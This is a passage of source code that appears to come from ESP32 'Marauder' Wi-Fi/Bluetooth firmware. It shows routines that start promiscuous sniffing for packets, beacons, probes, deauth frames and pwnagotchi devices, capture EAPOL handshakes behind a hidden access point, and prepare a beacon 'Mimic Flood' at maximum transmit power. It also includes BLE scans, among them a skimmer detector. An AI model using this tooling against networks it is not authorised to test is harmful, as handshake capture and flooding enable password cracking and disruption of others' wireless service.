  562. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  563. #else
  564. this->generateSSIDs(count);
  565. #endif
  566. }
  567. void WiFiScan::RunShutdownWiFi() {
  568. #ifdef HAS_SCREEN
  569. display_obj.tft.setTextWrap(false);
  570. display_obj.tft.setFreeFont(NULL);
  571. display_obj.tft.setCursor(0, 100);
  572. display_obj.tft.setTextSize(1);
  573. display_obj.tft.setTextColor(TFT_CYAN);
  574. display_obj.tft.print(F(text_table4[16]));
  575. #endif
  576. if (this->wifi_initialized) {
  577. this->shutdownWiFi();
  578. #ifdef HAS_SCREEN
  579. display_obj.tft.setTextColor(TFT_GREEN);
  580. display_obj.tft.println(F("OK"));
  581. #endif
  582. }
  583. else {
  584. #ifdef HAS_SCREEN
  585. display_obj.tft.setTextColor(TFT_RED);
  586. display_obj.tft.println(F(text17));
  587. display_obj.tft.println(F(text_table4[17]));
  588. #endif
  589. }
  590. }
  591. void WiFiScan::RunShutdownBLE() {
  592. #ifdef HAS_SCREEN
  593. display_obj.tft.setTextWrap(false);
  594. display_obj.tft.setFreeFont(NULL);
  595. display_obj.tft.setCursor(0, 100);
  596. display_obj.tft.setTextSize(1);
  597. display_obj.tft.setTextColor(TFT_CYAN);
  598. display_obj.tft.print(F(text_table4[18]));
  599. #endif
  600. if (this->ble_initialized) {
  601. this->shutdownBLE();
  602. #ifdef HAS_SCREEN
  603. display_obj.tft.setTextColor(TFT_GREEN);
  604. display_obj.tft.println(F("OK"));
  605. #endif
  606. }
  607. else {
  608. #ifdef HAS_SCREEN
  609. display_obj.tft.setTextColor(TFT_RED);
  610. display_obj.tft.println(F(text17));
  611. display_obj.tft.println(F(text_table4[19]));
  612. #endif
  613. }
  614. }
  615. void WiFiScan::RunInfo()
  616. {
  617. String sta_mac = this->getStaMAC();
  618. String ap_mac = this->getApMAC();
  619. String free_ram = this->freeRAM();
  620. //Serial.print("STA MAC: ");
  621. //Serial.println(sta_mac);
  622. //Serial.print("AP MAC: ");
  623. //Serial.println(ap_mac);
  624. Serial.println(free_ram);
  625. #ifdef HAS_SCREEN
  626. display_obj.tft.setTextWrap(false);
  627. display_obj.tft.setFreeFont(NULL);
  628. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  629. display_obj.tft.setTextSize(1);
  630. display_obj.tft.setTextColor(TFT_CYAN);
  631. display_obj.tft.println(text_table4[20]);
  632. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  633. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  634. #endif
  635. if (this->wsl_bypass_enabled) {
  636. #ifdef HAS_SCREEN
  637. display_obj.tft.println(text_table4[23]);
  638. #endif
  639. }
  640. else {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[24]);
  643. #endif
  644. }
  645. #ifdef HAS_SCREEN
  646. display_obj.tft.println(text_table4[25] + sta_mac);
  647. display_obj.tft.println(text_table4[26] + ap_mac);
  648. display_obj.tft.println(text_table4[27] + free_ram);
  649. #endif
  650. if (sd_obj.supported) {
  651. #ifdef HAS_SCREEN
  652. display_obj.tft.println(text_table4[28]);
  653. display_obj.tft.print(text_table4[29]);
  654. display_obj.tft.print(sd_obj.card_sz);
  655. display_obj.tft.println("MB");
  656. #endif
  657. }
  658. else {
  659. #ifdef HAS_SCREEN
  660. display_obj.tft.println(text_table4[30]);
  661. display_obj.tft.println(text_table4[31]);
  662. #endif
  663. }
  664. battery_obj.battery_level = battery_obj.getBatteryLevel();
  665. if (battery_obj.i2c_supported) {
  666. #ifdef HAS_SCREEN
  667. display_obj.tft.println(text_table4[32]);
  668. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  669. #endif
  670. }
  671. else {
  672. #ifdef HAS_SCREEN
  673. display_obj.tft.println(text_table4[34]);
  674. #endif
  675. }
  676. #ifdef HAS_SCREEN
  677. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  678. #endif
  679. }
  680. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  681. sd_obj.openCapture("espressif");
  682. #ifdef MARAUDER_FLIPPER
  683. flipper_led.sniffLED();
  684. #else
  685. led_obj.setMode(MODE_SNIFF);
  686. #endif
  687. #ifdef HAS_SCREEN
  688. display_obj.TOP_FIXED_AREA_2 = 48;
  689. display_obj.tteBar = true;
  690. display_obj.print_delay_1 = 15;
  691. display_obj.print_delay_2 = 10;
  692. display_obj.initScrollValues(true);
  693. display_obj.tft.setTextWrap(false);
  694. display_obj.tft.setTextColor(TFT_WHITE, color);
  695. #ifndef MARAUDER_MINI
  696. display_obj.tft.fillRect(0,16,240,16, color);
  697. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  698. display_obj.touchToExit();
  699. #endif
  700. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  701. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  702. #endif
  703. esp_wifi_init(&cfg);
  704. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  705. esp_wifi_set_mode(WIFI_MODE_NULL);
  706. esp_wifi_start();
  707. esp_wifi_set_promiscuous(true);
  708. esp_wifi_set_promiscuous_filter(&filt);
  709. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  710. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  711. this->wifi_initialized = true;
  712. initTime = millis();
  713. }
  714. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  715. {
  716. #ifdef MARAUDER_FLIPPER
  717. flipper_led.sniffLED();
  718. #else
  719. led_obj.setMode(MODE_SNIFF);
  720. #endif
  721. sd_obj.openCapture("packet_monitor");
  722. #ifndef MARAUDER_MINI
  723. #ifdef HAS_SCREEN
  724. display_obj.tft.init();
  725. display_obj.tft.setRotation(1);
  726. display_obj.tft.fillScreen(TFT_BLACK);
  727. #endif
  728. #ifdef HAS_SCREEN
  729. #ifdef TFT_SHIELD
  730. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  731. Serial.println("Using TFT Shield");
  732. #else if defined(TFT_DIY)
  733. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  734. Serial.println("Using TFT DIY");
  735. #endif
  736. display_obj.tft.setTouch(calData);
  737. //display_obj.tft.setFreeFont(1);
  738. display_obj.tft.setFreeFont(NULL);
  739. display_obj.tft.setTextSize(1);
  740. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  741. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  742. delay(10);
  743. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  744. display_obj.tftDrawColorKey();
  745. display_obj.tftDrawXScaleButtons(x_scale);
  746. display_obj.tftDrawYScaleButtons(y_scale);
  747. display_obj.tftDrawChannelScaleButtons(set_channel);
  748. display_obj.tftDrawExitScaleButtons();
  749. #endif
  750. #else
  751. #ifdef HAS_SCREEN
  752. display_obj.TOP_FIXED_AREA_2 = 48;
  753. display_obj.tteBar = true;
  754. display_obj.print_delay_1 = 15;
  755. display_obj.print_delay_2 = 10;
  756. display_obj.initScrollValues(true);
  757. display_obj.tft.setTextWrap(false);
  758. display_obj.tft.setTextColor(TFT_WHITE, color);
  759. #ifndef MARAUDER_MINI
  760. display_obj.tft.fillRect(0,16,240,16, color);
  761. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  762. display_obj.touchToExit();
  763. #endif
  764. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  765. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  766. #endif
  767. #endif
  768. Serial.println("Running packet scan...");
  769. esp_wifi_init(&cfg);
  770. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  771. esp_wifi_set_mode(WIFI_MODE_NULL);
  772. esp_wifi_start();
  773. esp_wifi_set_promiscuous(true);
  774. esp_wifi_set_promiscuous_filter(&filt);
  775. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  776. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  777. this->wifi_initialized = true;
  778. uint32_t initTime = millis();
  779. }
  780. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  781. {
  782. #ifdef MARAUDER_FLIPPER
  783. flipper_led.sniffLED();
  784. #else
  785. led_obj.setMode(MODE_SNIFF);
  786. #endif
  787. num_eapol = 0;
  788. #ifndef MARAUDER_MINI
  789. #ifdef HAS_SCREEN
  790. display_obj.tft.init();
  791. display_obj.tft.setRotation(1);
  792. display_obj.tft.fillScreen(TFT_BLACK);
  793. #endif
  794. sd_obj.openCapture("eapol");
  795. #ifdef HAS_SCREEN
  796. #ifdef TFT_SHIELD
  797. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  798. //Serial.println("Using TFT Shield");
  799. #else if defined(TFT_DIY)
  800. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  801. //Serial.println("Using TFT DIY");
  802. #endif
  803. display_obj.tft.setTouch(calData);
  804. display_obj.tft.setFreeFont(NULL);
  805. display_obj.tft.setTextSize(1);
  806. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  807. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  808. delay(10);
  809. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  810. display_obj.tftDrawEapolColorKey();
  811. display_obj.tftDrawChannelScaleButtons(set_channel);
  812. display_obj.tftDrawExitScaleButtons();
  813. #endif
  814. #else
  815. sd_obj.openCapture("eapol");
  816. #ifdef HAS_SCREEN
  817. display_obj.TOP_FIXED_AREA_2 = 48;
  818. display_obj.tteBar = true;
  819. display_obj.print_delay_1 = 15;
  820. display_obj.print_delay_2 = 10;
  821. display_obj.initScrollValues(true);
  822. display_obj.tft.setTextWrap(false);
  823. display_obj.tft.setTextColor(TFT_WHITE, color);
  824. #ifndef MARAUDER_MINI
  825. display_obj.tft.fillRect(0,16,240,16, color);
  826. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  827. display_obj.touchToExit();
  828. #endif
  829. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  830. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  831. #endif
  832. #endif
  833. esp_wifi_init(&cfg);
  834. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  835. esp_wifi_set_mode(WIFI_MODE_AP);
  836. esp_err_t err;
  837. wifi_config_t conf;
  838. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  839. if (err != 0)
  840. {
  841. Serial.print("could not set protocol : err=0x");
  842. Serial.println(err, HEX);
  843. }
  844. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  845. conf.ap.ssid[0] = '\0';
  846. conf.ap.ssid_len = 0;
  847. conf.ap.channel = this->set_channel;
  848. conf.ap.ssid_hidden = 1;
  849. conf.ap.max_connection = 0;
  850. conf.ap.beacon_interval = 60000;
  851. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  852. if (err != 0)
  853. {
  854. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  855. Serial.println(err, HEX);
  856. }
  857. esp_wifi_start();
  858. esp_wifi_set_promiscuous(true);
  859. esp_wifi_set_promiscuous_filter(&filt);
  860. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  861. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  862. else
  863. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  864. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  865. this->wifi_initialized = true;
  866. initTime = millis();
  867. }
  868. // Function to prepare for beacon mimic
  869. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  870. #ifdef HAS_SCREEN
  871. display_obj.TOP_FIXED_AREA_2 = 48;
  872. display_obj.tteBar = true;
  873. display_obj.print_delay_1 = 15;
  874. display_obj.print_delay_2 = 10;
  875. display_obj.initScrollValues(true);
  876. display_obj.tft.setTextWrap(false);
  877. display_obj.tft.setTextColor(TFT_BLACK, color);
  878. #ifndef MARAUDER_MINI
  879. display_obj.tft.fillRect(0,16,240,16, color);
  880. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  881. display_obj.touchToExit();
  882. #endif
  883. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  884. #endif
  885. packets_sent = 0;
  886. esp_wifi_init(&cfg);
  887. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  888. esp_wifi_set_mode(WIFI_AP_STA);
  889. esp_wifi_start();
  890. esp_wifi_set_promiscuous_filter(NULL);
  891. esp_wifi_set_promiscuous(true);
  892. esp_wifi_set_max_tx_power(78);
  893. this->wifi_initialized = true;
  894. initTime = millis();
  895. }
  896. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  897. {
  898. sd_obj.openCapture("pwnagotchi");
  899. #ifdef MARAUDER_FLIPPER
  900. flipper_led.sniffLED();
  901. #else
  902. led_obj.setMode(MODE_SNIFF);
  903. #endif
  904. #ifdef HAS_SCREEN
  905. display_obj.TOP_FIXED_AREA_2 = 48;
  906. display_obj.tteBar = true;
  907. display_obj.print_delay_1 = 15;
  908. display_obj.print_delay_2 = 10;
  909. display_obj.initScrollValues(true);
  910. display_obj.tft.setTextWrap(false);
  911. display_obj.tft.setTextColor(TFT_WHITE, color);
  912. #ifndef MARAUDER_MINI
  913. display_obj.tft.fillRect(0,16,240,16, color);
  914. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  915. display_obj.touchToExit();
  916. #endif
  917. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  918. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  919. #endif
  920. esp_wifi_init(&cfg);
  921. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  922. esp_wifi_set_mode(WIFI_MODE_NULL);
  923. esp_wifi_start();
  924. esp_wifi_set_promiscuous(true);
  925. esp_wifi_set_promiscuous_filter(&filt);
  926. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  927. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  928. this->wifi_initialized = true;
  929. initTime = millis();
  930. }
  931. // Function to start running a beacon scan
  932. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  933. {
  934. sd_obj.openCapture("beacon");
  935. #ifdef MARAUDER_FLIPPER
  936. flipper_led.sniffLED();
  937. #else
  938. led_obj.setMode(MODE_SNIFF);
  939. #endif
  940. #ifdef HAS_SCREEN
  941. display_obj.TOP_FIXED_AREA_2 = 48;
  942. display_obj.tteBar = true;
  943. display_obj.print_delay_1 = 15;
  944. display_obj.print_delay_2 = 10;
  945. display_obj.initScrollValues(true);
  946. display_obj.tft.setTextWrap(false);
  947. display_obj.tft.setTextColor(TFT_WHITE, color);
  948. #ifndef MARAUDER_MINI
  949. display_obj.tft.fillRect(0,16,240,16, color);
  950. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  951. display_obj.touchToExit();
  952. #endif
  953. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  954. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  955. #endif
  956. esp_wifi_init(&cfg);
  957. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  958. esp_wifi_set_mode(WIFI_MODE_NULL);
  959. esp_wifi_start();
  960. esp_wifi_set_promiscuous(true);
  961. esp_wifi_set_promiscuous_filter(&filt);
  962. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  963. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  964. this->wifi_initialized = true;
  965. initTime = millis();
  966. }
  967. void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
  968. {
  969. sd_obj.openCapture("station");
  970. #ifdef MARAUDER_FLIPPER
  971. flipper_led.sniffLED();
  972. #else
  973. led_obj.setMode(MODE_SNIFF);
  974. #endif
  975. #ifdef HAS_SCREEN
  976. display_obj.TOP_FIXED_AREA_2 = 48;
  977. display_obj.tteBar = true;
  978. display_obj.print_delay_1 = 15;
  979. display_obj.print_delay_2 = 10;
  980. display_obj.initScrollValues(true);
  981. display_obj.tft.setTextWrap(false);
  982. display_obj.tft.setTextColor(TFT_WHITE, color);
  983. #ifndef MARAUDER_MINI
  984. display_obj.tft.fillRect(0,16,240,16, color);
  985. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  986. display_obj.touchToExit();
  987. #endif
  988. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  989. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  990. #endif
  991. esp_wifi_init(&cfg);
  992. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  993. esp_wifi_set_mode(WIFI_MODE_NULL);
  994. esp_wifi_start();
  995. esp_wifi_set_promiscuous(true);
  996. esp_wifi_set_promiscuous_filter(&filt);
  997. esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
  998. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  999. this->wifi_initialized = true;
  1000. initTime = millis();
  1001. }
  1002. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  1003. {
  1004. sd_obj.openCapture("raw");
  1005. #ifdef MARAUDER_FLIPPER
  1006. flipper_led.sniffLED();
  1007. #else
  1008. led_obj.setMode(MODE_SNIFF);
  1009. #endif
  1010. #ifdef HAS_SCREEN
  1011. display_obj.TOP_FIXED_AREA_2 = 48;
  1012. display_obj.tteBar = true;
  1013. display_obj.print_delay_1 = 15;
  1014. display_obj.print_delay_2 = 10;
  1015. display_obj.initScrollValues(true);
  1016. display_obj.tft.setTextWrap(false);
  1017. display_obj.tft.setTextColor(TFT_WHITE, color);
  1018. #ifndef MARAUDER_MINI
  1019. display_obj.tft.fillRect(0,16,240,16, color);
  1020. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  1021. display_obj.touchToExit();
  1022. #endif
  1023. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1024. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1025. #endif
  1026. esp_wifi_init(&cfg);
  1027. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1028. esp_wifi_set_mode(WIFI_MODE_NULL);
  1029. esp_wifi_start();
  1030. esp_wifi_set_promiscuous(true);
  1031. esp_wifi_set_promiscuous_filter(&filt);
  1032. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  1033. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1034. this->wifi_initialized = true;
  1035. initTime = millis();
  1036. }
  1037. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  1038. {
  1039. sd_obj.openCapture("deauth");
  1040. #ifdef MARAUDER_FLIPPER
  1041. flipper_led.sniffLED();
  1042. #else
  1043. led_obj.setMode(MODE_SNIFF);
  1044. #endif
  1045. #ifdef HAS_SCREEN
  1046. display_obj.TOP_FIXED_AREA_2 = 48;
  1047. display_obj.tteBar = true;
  1048. display_obj.print_delay_1 = 15;
  1049. display_obj.print_delay_2 = 10;
  1050. display_obj.initScrollValues(true);
  1051. display_obj.tft.setTextWrap(false);
  1052. display_obj.tft.setTextColor(TFT_BLACK, color);
  1053. #ifndef MARAUDER_MINI
  1054. display_obj.tft.fillRect(0,16,240,16, color);
  1055. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1056. display_obj.touchToExit();
  1057. #endif
  1058. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1059. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1060. #endif
  1061. esp_wifi_init(&cfg);
  1062. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1063. esp_wifi_set_mode(WIFI_MODE_NULL);
  1064. esp_wifi_start();
  1065. esp_wifi_set_promiscuous(true);
  1066. esp_wifi_set_promiscuous_filter(&filt);
  1067. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1068. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1069. this->wifi_initialized = true;
  1070. initTime = millis();
  1071. }
  1072. // Function for running probe request scan
  1073. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1074. {
  1075. sd_obj.openCapture("probe");
  1076. #ifdef MARAUDER_FLIPPER
  1077. flipper_led.sniffLED();
  1078. #else
  1079. led_obj.setMode(MODE_SNIFF);
  1080. #endif
  1081. #ifdef HAS_SCREEN
  1082. display_obj.TOP_FIXED_AREA_2 = 48;
  1083. display_obj.tteBar = true;
  1084. display_obj.print_delay_1 = 15;
  1085. display_obj.print_delay_2 = 10;
  1086. display_obj.initScrollValues(true);
  1087. display_obj.tft.setTextWrap(false);
  1088. display_obj.tft.setTextColor(TFT_BLACK, color);
  1089. #ifndef MARAUDER_MINI
  1090. display_obj.tft.fillRect(0,16,240,16, color);
  1091. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1092. display_obj.touchToExit();
  1093. #endif
  1094. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1095. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1096. #endif
  1097. esp_wifi_init(&cfg);
  1098. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1099. esp_wifi_set_mode(WIFI_MODE_NULL);
  1100. esp_wifi_start();
  1101. esp_wifi_set_promiscuous(true);
  1102. esp_wifi_set_promiscuous_filter(&filt);
  1103. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1104. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1105. this->wifi_initialized = true;
  1106. initTime = millis();
  1107. }
  1108. // Function to start running any BLE scan
  1109. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1110. {
  1111. #ifdef HAS_BT
  1112. #ifdef HAS_SCREEN
  1113. display_obj.print_delay_1 = 50;
  1114. display_obj.print_delay_2 = 20;
  1115. #endif
  1116. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1117. NimBLEDevice::setScanDuplicateCacheSize(200);
  1118. NimBLEDevice::init("");
  1119. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1120. if (scan_mode == BT_SCAN_ALL)
  1121. {
  1122. #ifdef HAS_SCREEN
  1123. display_obj.TOP_FIXED_AREA_2 = 48;
  1124. display_obj.tteBar = true;
  1125. display_obj.initScrollValues(true);
  1126. display_obj.tft.setTextWrap(false);
  1127. display_obj.tft.setTextColor(TFT_BLACK, color);
  1128. #ifndef MARAUDER_MINI
  1129. display_obj.tft.fillRect(0,16,240,16, color);
  1130. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1131. display_obj.touchToExit();
  1132. #endif
  1133. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1134. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1135. #endif
  1136. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1137. }
  1138. else if (scan_mode == BT_SCAN_SKIMMERS)
  1139. {
  1140. #ifdef HAS_SCREEN
  1141. display_obj.TOP_FIXED_AREA_2 = 160;
  1142. display_obj.tteBar = true;
  1143. display_obj.tft.fillScreen(TFT_DARKGREY);
  1144. display_obj.initScrollValues(true);
  1145. display_obj.tft.setTextWrap(false);
  1146. display_obj.tft.setTextColor(TFT_BLACK, color);
  1147. display_obj.tft.fillRect(0,16,240,16, color);
  1148. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1149. display_obj.twoPartDisplay(text_table4[43]);
  1150. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1151. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1152. #endif
  1153. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1154. }
  1155. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1156. pBLEScan->setInterval(97);
  1157. pBLEScan->setWindow(37); // less or equal setInterval value
  1158. pBLEScan->setMaxResults(0);
  1159. pBLEScan->start(0, scanCompleteCB, false);
  1160. Serial.println("Started BLE Scan");
  1161. this->ble_initialized = true;
  1162. initTime = millis();
  1163. #endif
  1164. }
  1165. // Function that is called when BLE scan is completed
  1166. #ifdef HAS_BT
  1167. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1168. printf("Scan complete!\n");
  1169. printf("Found %d devices\n", scanResults.getCount());
  1170. scanResults.dump();
  1171. } // scanCompleteCB
  1172. #endif
  1173. // Function to extract MAC addr from a packet at given offset
  1174. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1175. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1176. }
  1177. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1178. {
  1179. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1180. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1181. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1182. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1183. int len = snifferPacket->rx_ctrl.sig_len;
  1184. String display_string = "";
  1185. String src_addr_string = "";
  1186. if (type == WIFI_PKT_MGMT)
  1187. {
  1188. len -= 4;
  1189. }
  1190. int fctl = ntohs(frameControl->fctl);
  1191. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1192. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1193. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1194. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1195. //{
  1196. char addr[] = "00:00:00:00:00:00";
  1197. getMAC(addr, snifferPacket->payload, 10);
  1198. src_addr_string.concat(addr);
  1199. bool match = false;
  1200. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1201. if (src_addr_string.startsWith(espressif_macs[i])) {
  1202. match = true;
  1203. break;
  1204. }
  1205. }
  1206. if (!match)
  1207. return;
  1208. delay(random(0, 10));
  1209. Serial.print("RSSI: ");
  1210. Serial.print(snifferPacket->rx_ctrl.rssi);
  1211. Serial.print(" Ch: ");
  1212. Serial.print(snifferPacket->rx_ctrl.channel);
  1213. Serial.print(" BSSID: ");
  1214. Serial.print(addr);
  1215. //display_string.concat(" RSSI: ");
  1216. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1217. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1218. //display_string.concat(" ");
  1219. display_string.concat(" -> ");
  1220. display_string.concat(addr);
  1221. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1222. {
  1223. display_string.concat(" ");
  1224. }
  1225. Serial.print(" ");
  1226. #ifdef HAS_SCREEN
  1227. display_obj.loading = true;
  1228. display_obj.display_buffer->add(display_string);
  1229. display_obj.loading = false;
  1230. #endif
  1231. Serial.println();
  1232. if (save_packet)
  1233. sd_obj.addPacket(snifferPacket->payload, len);
  1234. //}
  1235. }
  1236. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1237. {
  1238. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1239. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1240. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1241. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1242. int len = snifferPacket->rx_ctrl.sig_len;
  1243. String display_string = "";
  1244. String src = "";
  1245. String essid = "";
  1246. if (type == WIFI_PKT_MGMT)
  1247. {
  1248. len -= 4;
  1249. int fctl = ntohs(frameControl->fctl);
  1250. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1251. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1252. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1253. #ifdef HAS_SCREEN
  1254. int buf = display_obj.display_buffer->size();
  1255. #else
  1256. int buf = 0;
  1257. #endif
  1258. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1259. {
  1260. char addr[] = "00:00:00:00:00:00";
  1261. getMAC(addr, snifferPacket->payload, 10);
  1262. src.concat(addr);
  1263. if (src == "de:ad:be:ef:de:ad") {
  1264. delay(random(0, 10));
  1265. Serial.print("RSSI: ");
  1266. Serial.print(snifferPacket->rx_ctrl.rssi);
  1267. Serial.print(" Ch: ");
  1268. Serial.print(snifferPacket->rx_ctrl.channel);
  1269. Serial.print(" BSSID: ");
  1270. Serial.print(addr);
  1271. //display_string.concat(addr);
